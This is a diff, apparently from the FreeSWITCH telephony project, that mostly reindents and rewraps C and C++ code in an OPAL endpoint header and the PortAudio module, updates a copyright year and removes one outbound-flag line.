class FSEndPoint:public OpalLocalEndPoint {
|
||||
PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
|
||||
public:
|
||||
FSEndPoint(FSManager & manager);
|
||||
PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
|
||||
public:
|
||||
FSEndPoint(FSManager & manager);
|
||||
|
||||
virtual bool OnIncomingCall(OpalLocalConnection &);
|
||||
virtual OpalLocalConnection *CreateConnection(OpalCall & call, void * userData, unsigned options, OpalConnection::StringOptions* stringOptions);
|
||||
virtual bool OnIncomingCall(OpalLocalConnection &);
|
||||
virtual OpalLocalConnection *CreateConnection(OpalCall & call, void *userData, unsigned options, OpalConnection::StringOptions * stringOptions);
|
||||
};
|
||||
|
||||
|
||||
@@ -174,93 +170,89 @@ switch_status_t name(type1 name1, type2 name2, type3 name3)
|
||||
|
||||
|
||||
class FSConnection:public OpalLocalConnection {
|
||||
PCLASSINFO(FSConnection, OpalLocalConnection)
|
||||
PCLASSINFO(FSConnection, OpalLocalConnection)
|
||||
|
||||
public:
|
||||
FSConnection(OpalCall & call,
|
||||
FSEndPoint & endpoint,
|
||||
void* userData,
|
||||
unsigned options,
|
||||
OpalConnection::StringOptions* stringOptions,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t *fsSession,
|
||||
switch_channel_t *fsChannel);
|
||||
FSConnection(OpalCall & call,
|
||||
FSEndPoint & endpoint,
|
||||
void *userData,
|
||||
unsigned options,
|
||||
OpalConnection::StringOptions * stringOptions,
|
||||
switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
|
||||
|
||||
virtual bool OnIncoming();
|
||||
virtual void OnReleased();
|
||||
virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
|
||||
virtual void OnAlerting();
|
||||
virtual void OnEstablished();
|
||||
virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
|
||||
virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
|
||||
virtual OpalMediaFormatList GetMediaFormats() const;
|
||||
virtual PBoolean SendUserInputTone(char tone, unsigned duration);
|
||||
virtual PBoolean SendUserInputString(const PString & value);
|
||||
virtual bool OnIncoming();
|
||||
virtual void OnReleased();
|
||||
virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
|
||||
virtual void OnAlerting();
|
||||
virtual void OnEstablished();
|
||||
virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
|
||||
virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
|
||||
virtual OpalMediaFormatList GetMediaFormats() const;
|
||||
virtual PBoolean SendUserInputTone(char tone, unsigned duration);
|
||||
virtual PBoolean SendUserInputString(const PString & value);
|
||||
|
||||
void SetCodecs();
|
||||
void SetCodecs();
|
||||
|
||||
DECLARE_CALLBACK0(on_init);
|
||||
DECLARE_CALLBACK0(on_routing);
|
||||
DECLARE_CALLBACK0(on_execute);
|
||||
DECLARE_CALLBACK0(on_init);
|
||||
DECLARE_CALLBACK0(on_routing);
|
||||
DECLARE_CALLBACK0(on_execute);
|
||||
|
||||
DECLARE_CALLBACK0(on_exchange_media);
|
||||
DECLARE_CALLBACK0(on_soft_execute);
|
||||
DECLARE_CALLBACK0(on_exchange_media);
|
||||
DECLARE_CALLBACK0(on_soft_execute);
|
||||
|
||||
DECLARE_CALLBACK1(kill_channel, int, sig);
|
||||
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
|
||||
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
|
||||
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
|
||||
DECLARE_CALLBACK0(state_change);
|
||||
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
DECLARE_CALLBACK1(kill_channel, int, sig);
|
||||
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
|
||||
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
|
||||
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
|
||||
DECLARE_CALLBACK0(state_change);
|
||||
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
|
||||
switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
|
||||
switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
|
||||
switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
|
||||
switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
|
||||
|
||||
switch_core_session_t *GetSession() const {
|
||||
return m_fsSession;
|
||||
}
|
||||
|
||||
private:
|
||||
FSEndPoint & m_endpoint;
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
PSyncPoint m_rxAudioOpened;
|
||||
PSyncPoint m_txAudioOpened;
|
||||
OpalMediaFormatList m_switchMediaFormats;
|
||||
switch_core_session_t *GetSession() const {
|
||||
return m_fsSession;
|
||||
} private:
|
||||
FSEndPoint & m_endpoint;
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
PSyncPoint m_rxAudioOpened;
|
||||
PSyncPoint m_txAudioOpened;
|
||||
OpalMediaFormatList m_switchMediaFormats;
|
||||
};
|
||||
|
||||
|
||||
class FSMediaStream:public OpalMediaStream {
|
||||
PCLASSINFO(FSMediaStream, OpalMediaStream);
|
||||
public:
|
||||
FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
|
||||
unsigned sessionID, ///< Session number for stream
|
||||
bool isSource ///< Is a source stream
|
||||
);
|
||||
PCLASSINFO(FSMediaStream, OpalMediaStream);
|
||||
public:
|
||||
FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
|
||||
unsigned sessionID, ///< Session number for stream
|
||||
bool isSource ///< Is a source stream
|
||||
);
|
||||
|
||||
virtual PBoolean Open();
|
||||
virtual PBoolean Close();
|
||||
virtual PBoolean IsSynchronous() const;
|
||||
virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
|
||||
virtual PBoolean Open();
|
||||
virtual PBoolean Close();
|
||||
virtual PBoolean IsSynchronous() const;
|
||||
virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
|
||||
|
||||
switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
|
||||
switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
|
||||
switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
|
||||
switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
|
||||
|
||||
private:
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
switch_timer_t *m_switchTimer;
|
||||
switch_codec_t *m_switchCodec;
|
||||
switch_frame_t m_readFrame;
|
||||
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
|
||||
RTP_DataFrame m_readRTP;
|
||||
bool m_callOnStart;
|
||||
uint32_t m_timeStamp;
|
||||
private:
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
switch_timer_t *m_switchTimer;
|
||||
switch_codec_t *m_switchCodec;
|
||||
switch_frame_t m_readFrame;
|
||||
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
|
||||
RTP_DataFrame m_readRTP;
|
||||
bool m_callOnStart;
|
||||
uint32_t m_timeStamp;
|
||||
|
||||
bool CheckPatchAndLock();
|
||||
bool CheckPatchAndLock();
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -159,7 +159,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
|
||||
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
|
||||
@@ -316,13 +317,15 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
|
||||
static switch_status_t channel_on_routing(switch_core_session_t *session)
|
||||
{
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t channel_on_execute(switch_core_session_t *session)
|
||||
{
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -350,7 +353,7 @@ static void deactivate_audio_device(void)
|
||||
}
|
||||
|
||||
|
||||
static void destroy_codecs(void)
|
||||
static void destroy_codecs(void)
|
||||
{
|
||||
|
||||
if (switch_core_codec_ready(&globals.read_codec)) {
|
||||
@@ -404,7 +407,7 @@ static void add_pvt(private_t *tech_pvt, int master)
|
||||
if (*tech_pvt->call_id == '\0') {
|
||||
switch_mutex_lock(globals.pa_mutex);
|
||||
switch_snprintf(tech_pvt->call_id, sizeof(tech_pvt->call_id), "%d", ++globals.call_id);
|
||||
switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
|
||||
switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
|
||||
switch_core_hash_insert(globals.call_hash, tech_pvt->call_id, tech_pvt);
|
||||
switch_core_session_set_read_codec(tech_pvt->session, &globals.read_codec);
|
||||
switch_core_session_set_write_codec(tech_pvt->session, &globals.write_codec);
|
||||
@@ -486,7 +489,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
|
||||
{
|
||||
private_t *tech_pvt = switch_core_session_get_private(session);
|
||||
switch_assert(tech_pvt != NULL);
|
||||
|
||||
|
||||
switch_mutex_lock(globals.pa_mutex);
|
||||
switch_core_hash_delete(globals.call_hash, tech_pvt->call_id);
|
||||
switch_mutex_unlock(globals.pa_mutex);
|
||||
@@ -498,7 +501,8 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
|
||||
|
||||
tech_close_file(tech_pvt);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -563,11 +567,11 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
|
||||
goto cng_wait;
|
||||
}
|
||||
|
||||
|
||||
if (!is_master(tech_pvt)) {
|
||||
if (tech_pvt->hold_file) {
|
||||
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
|
||||
|
||||
|
||||
if (!tech_pvt->hfh) {
|
||||
int sample_rate = globals.sample_rate;
|
||||
if (switch_core_file_open(&tech_pvt->fh,
|
||||
@@ -612,12 +616,11 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
if (tech_pvt->hfh) {
|
||||
tech_close_file(tech_pvt);
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_lock(globals.device_lock);
|
||||
samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
|
||||
globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
|
||||
samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data, globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
|
||||
switch_mutex_unlock(globals.device_lock);
|
||||
|
||||
|
||||
if (samples) {
|
||||
globals.read_frame.datalen = samples * 2;
|
||||
globals.read_frame.samples = samples;
|
||||
@@ -631,19 +634,19 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
} else {
|
||||
goto cng_nowait;
|
||||
}
|
||||
|
||||
normal_return:
|
||||
|
||||
normal_return:
|
||||
return status;
|
||||
|
||||
cng_nowait:
|
||||
cng_nowait:
|
||||
*frame = &globals.cng_frame;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
cng_wait:
|
||||
cng_wait:
|
||||
switch_core_timer_next(&globals.hold_timer);
|
||||
*frame = &globals.cng_frame;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
}
|
||||
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
|
||||
@@ -706,13 +709,12 @@ switch_state_handler_table_t portaudio_event_handlers = {
|
||||
/*.on_hangup */ channel_on_hangup,
|
||||
/*.on_exchange_media */ channel_on_exchange_media,
|
||||
/*.on_soft_execute */ channel_on_soft_execute,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ NULL,
|
||||
/*.on_destroy*/ channel_on_destroy
|
||||
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ NULL,
|
||||
/*.on_destroy */ channel_on_destroy
|
||||
};
|
||||
|
||||
switch_io_routines_t portaudio_io_routines = {
|
||||
@@ -729,7 +731,8 @@ switch_io_routines_t portaudio_io_routines = {
|
||||
*/
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
|
||||
if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
|
||||
@@ -771,7 +774,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
}
|
||||
|
||||
switch_channel_set_flag(channel, CF_OUTBOUND);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
|
||||
switch_channel_set_state(channel, CS_INIT);
|
||||
return SWITCH_CAUSE_SUCCESS;
|
||||
@@ -808,7 +810,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_portaudio_load)
|
||||
#if defined(sun) || defined(__sun)
|
||||
globals.dual_streams = 0;
|
||||
#endif
|
||||
|
||||
|
||||
if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
|
||||
return status;
|
||||
}
|
||||
@@ -949,7 +951,7 @@ static switch_status_t load_config(void)
|
||||
if (!globals.dialplan) {
|
||||
set_global_dialplan("XML");
|
||||
}
|
||||
|
||||
|
||||
if (!globals.context) {
|
||||
set_global_context("default");
|
||||
}
|
||||
@@ -1008,14 +1010,14 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_shutdown)
|
||||
deactivate_audio_device();
|
||||
deactivate_ring_device();
|
||||
destroy_codecs();
|
||||
|
||||
|
||||
Pa_Terminate();
|
||||
switch_core_hash_destroy(&globals.call_hash);
|
||||
|
||||
switch_event_free_subclass(MY_EVENT_RINGING);
|
||||
switch_event_free_subclass(MY_EVENT_MAKE_CALL);
|
||||
switch_event_free_subclass(MY_EVENT_ERROR_AUDIO_DEV);
|
||||
|
||||
|
||||
switch_safe_free(globals.dialplan);
|
||||
switch_safe_free(globals.context);
|
||||
switch_safe_free(globals.cid_name);
|
||||
@@ -1135,21 +1137,22 @@ static switch_status_t devlist(char **argv, int argc, switch_stream_handle_t *st
|
||||
for (i = 0; i < numDevices; i++) {
|
||||
deviceInfo = Pa_GetDeviceInfo(i);
|
||||
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
|
||||
stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
|
||||
stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name,
|
||||
hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
|
||||
}
|
||||
|
||||
stream->write_function(stream, "\t</devices>\n\t<bindings>\n"
|
||||
"\t\t<ring device=\"%d\" />\n"
|
||||
"\t\t<input device=\"%d\" />\n"
|
||||
"\t\t<output device=\"%d\" />\n"
|
||||
"\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
|
||||
"\t\t<ring device=\"%d\" />\n"
|
||||
"\t\t<input device=\"%d\" />\n"
|
||||
"\t\t<output device=\"%d\" />\n" "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
|
||||
} else {
|
||||
|
||||
for (i = 0; i < numDevices; i++) {
|
||||
deviceInfo = Pa_GetDeviceInfo(i);
|
||||
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
|
||||
|
||||
stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
|
||||
stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels,
|
||||
deviceInfo->maxOutputChannels);
|
||||
|
||||
prev = 0;
|
||||
if (globals.ringdev == i) {
|
||||
@@ -1268,7 +1271,7 @@ static int dump_info(int verbose)
|
||||
inputParameters.sampleFormat = paInt16;
|
||||
inputParameters.suggestedLatency = deviceInfo->defaultLowInputLatency; /* ignored by Pa_IsFormatSupported() */
|
||||
inputParameters.hostApiSpecificStreamInfo = NULL;
|
||||
|
||||
|
||||
outputParameters.device = i;
|
||||
outputParameters.channelCount = deviceInfo->maxOutputChannels;
|
||||
outputParameters.sampleFormat = paInt16;
|
||||
@@ -1287,14 +1290,14 @@ static int dump_info(int verbose)
|
||||
}
|
||||
|
||||
if (inputParameters.channelCount > 0 && outputParameters.channelCount > 0) {
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
|
||||
"full-duplex 16 bit %d channel input, %d channel output rates:", inputParameters.channelCount,
|
||||
outputParameters.channelCount);
|
||||
PrintSupportedStandardSampleRates(&inputParameters, &outputParameters);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s", line);
|
||||
|
||||
return 0;
|
||||
@@ -1355,8 +1358,7 @@ static switch_status_t engage_device(int restart)
|
||||
if (switch_core_codec_init(&globals.write_codec,
|
||||
"L16",
|
||||
NULL,
|
||||
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
|
||||
NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
|
||||
switch_core_codec_destroy(&globals.read_codec);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -1428,7 +1430,7 @@ static switch_status_t engage_device(int restart)
|
||||
}
|
||||
|
||||
switch_mutex_unlock(globals.device_lock);
|
||||
|
||||
|
||||
if (err != paNoError) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
|
||||
switch_core_codec_destroy(&globals.read_codec);
|
||||
@@ -1442,7 +1444,7 @@ static switch_status_t engage_device(int restart)
|
||||
}
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Engage audio device rate: %d channels %d\n", sample_rate, outputParameters.channelCount);
|
||||
|
||||
engage_ring_device();
|
||||
@@ -1452,7 +1454,7 @@ static switch_status_t engage_device(int restart)
|
||||
|
||||
static switch_status_t engage_ring_device(void)
|
||||
{
|
||||
PaStreamParameters outputParameters = {0};
|
||||
PaStreamParameters outputParameters = { 0 };
|
||||
PaError err;
|
||||
int sample_rate = globals.sample_rate;
|
||||
int channels = 1;
|
||||
@@ -1475,7 +1477,7 @@ static switch_status_t engage_ring_device(void)
|
||||
outputParameters.sampleFormat = SAMPLE_TYPE;
|
||||
outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
|
||||
outputParameters.hostApiSpecificStreamInfo = NULL;
|
||||
err = OpenAudioStream(&globals.ring_stream, NULL,
|
||||
err = OpenAudioStream(&globals.ring_stream, NULL,
|
||||
&outputParameters, sample_rate, paClipOff, globals.read_codec.implementation->samples_per_packet, globals.dual_streams);
|
||||
/* UNLOCKED ************************************************************************************************* */
|
||||
switch_mutex_unlock(globals.device_lock);
|
||||
@@ -1490,7 +1492,7 @@ static switch_status_t engage_ring_device(void)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
error:
|
||||
error:
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open ring device\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -1526,7 +1528,7 @@ static switch_status_t switch_call(char **argv, int argc, switch_stream_handle_t
|
||||
private_t *tp, *tech_pvt = NULL;
|
||||
char *callid = argv[0];
|
||||
uint8_t one_call = 0;
|
||||
|
||||
|
||||
|
||||
switch_mutex_lock(globals.pvt_lock);
|
||||
if (zstr(callid)) {
|
||||
@@ -1809,7 +1811,7 @@ static switch_status_t place_call(char **argv, int argc, switch_stream_handle_t
|
||||
switch_channel_mark_answered(channel);
|
||||
switch_channel_set_state(channel, CS_INIT);
|
||||
if (switch_core_session_thread_launch(tech_pvt->session) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_t *event;
|
||||
switch_event_t *event;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Error spawning thread\n");
|
||||
switch_core_session_destroy(&session);
|
||||
stream->write_function(stream, "FAIL:Thread Error!\n");
|
||||
@@ -1878,8 +1880,7 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
"pa outdev #<num>|<partial name>\n"
|
||||
"pa ringdev #<num>|<partial name>\n"
|
||||
"pa play [ringtest|<filename>]\n"
|
||||
"pa ringfile [filename]\n"
|
||||
"pa looptest\n" "--------------------------------------------------------------------------------\n";
|
||||
"pa ringfile [filename]\n" "pa looptest\n" "--------------------------------------------------------------------------------\n";
|
||||
|
||||
|
||||
if (stream->param_event) {
|
||||
@@ -2029,7 +2030,7 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
int samples = 0;
|
||||
int seconds = 5;
|
||||
int wrote = 0;
|
||||
|
||||
|
||||
if (globals.call_list) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ERROR: Cannot use this command this while a call is in progress\n");
|
||||
goto done;
|
||||
@@ -2050,7 +2051,7 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
|
||||
int16_t abuf[2048];
|
||||
|
||||
|
||||
if (argv[2]) {
|
||||
int i = atoi(argv[2]);
|
||||
if (i >= 0) {
|
||||
@@ -2069,15 +2070,15 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
}
|
||||
}
|
||||
olen = globals.read_codec.implementation->samples_per_packet;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
switch_core_file_close(&fh);
|
||||
deactivate_audio_device();
|
||||
|
||||
seconds = wrote / globals.read_codec.implementation->actual_samples_per_second;
|
||||
stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
|
||||
stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
|
||||
playfile, seconds, wrote, globals.read_codec.implementation->actual_samples_per_second);
|
||||
|
||||
|
||||
|
||||
} else {
|
||||
stream->write_function(stream, "Cannot play requested file %s\n", argv[1]);
|
||||
@@ -2096,9 +2097,9 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
int samples = 0;
|
||||
int success = 0;
|
||||
int i;
|
||||
for(i = 0; i < 400; i++) {
|
||||
for (i = 0; i < 400; i++) {
|
||||
if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
|
||||
globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
|
||||
globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
|
||||
WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.write_timer);
|
||||
success = 1;
|
||||
}
|
||||
@@ -2117,10 +2118,10 @@ SWITCH_STANDARD_API(pa_cmd)
|
||||
if (engage_device(0) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_file_handle_t fh = { 0 };
|
||||
if (switch_core_file_open(&fh,
|
||||
argv[1],
|
||||
globals.read_codec.implementation->number_of_channels,
|
||||
globals.read_codec.implementation->actual_samples_per_second,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
|
||||
argv[1],
|
||||
globals.read_codec.implementation->number_of_channels,
|
||||
globals.read_codec.implementation->actual_samples_per_second,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_core_file_close(&fh);
|
||||
set_global_ring_file(argv[1]);
|
||||
} else {
|
||||
|
||||
@@ -56,12 +56,14 @@
|
||||
/************************************************************************/
|
||||
|
||||
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
|
||||
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
|
||||
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
|
||||
void *userData);
|
||||
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo,
|
||||
PaStreamCallbackFlags statusFlags, void *userData);
|
||||
|
||||
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
|
||||
